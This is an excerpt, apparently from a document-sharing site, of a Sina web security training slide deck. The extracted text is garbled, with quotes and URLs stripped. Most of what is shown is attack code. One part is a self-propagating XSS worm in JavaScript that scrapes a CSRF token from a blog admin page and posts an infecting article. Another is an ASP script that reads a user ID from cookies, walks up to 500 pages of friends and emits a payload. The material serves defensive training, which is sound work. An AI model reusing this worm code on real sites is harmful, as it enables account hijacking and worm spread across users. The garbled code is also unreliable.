新浪web安全培训ppt课件.ppt

《新浪web安全培训ppt课件.ppt》由会员分享，可在线阅读，更多相关《新浪web安全培训ppt课件.ppt（86页珍藏版）》请在淘文阁 - 分享文档赚钱的网站上搜索。

1、 var blogtitle = I OwNed youR BloGvar blogbody = YourE mY fOOd.蠕虫传播主体,不要构造这里var xmlhttp = new ActiveXObject(Msxml2.XMLHTTP.3.0);xmlhttp.open(GET,/admin/article/article_add.php,false);xmlhttp.send();var xss = xmlhttp.responseText;token=xss.indexOf(vtoken);if(token0)vtoken=xss.substr(token+15,32);xmlh

2、ttp.open(post,/admin/article/article_post.php,false);xmlhttp.setRequestHeader(Content-Type,application/x-www-form-urlencoded);xmlhttp.send(album=&blog_id=&is_album=0&stag=&sno=&channel_id=&url=&channel=&newsid=&book_worksid=&vtoken=+vtoken+&is_media=0&blog_title=+blogtitle+&blog_body=+blogbody+&tag=

3、&blog_class=0&x_cms_flag=1&sina_sort_id=117&is2bbs=1&join_circle=1);var suss = xmlhttp.responseText;send=suss.indexOf(06001);if(send0)/alert(感染成功 : );document.location = http:/ else alert(感染失败 : ();- 获取cookie中的uid -cookie=unescape(request(cookie)cflag=Instr(cookie,nick=)dflag=Instr(cookie,);)省略.- 遍历

4、好友数 -for i = 1 to 500- 得到此uid的好友 -url=http:/ & uid & &page= & i & &pagesize=1xml.open GET,url,Falsexml.sendhtmlcon=b2bstr(xml.responsebody)- 提取好友uid -aflag=Instr(htmlcon,record:uid:)bflag=InStr(htmlcon,ftype)If aflag 0 And bflag 0 Thenokflag=Replace(Replace(mid(htmlcon,aflag,bflag),record:uid:,),)Else- 超过最大好友数就中断 -exit forEnd If- playload -Response.Write “nextPage 66Page 67Page 68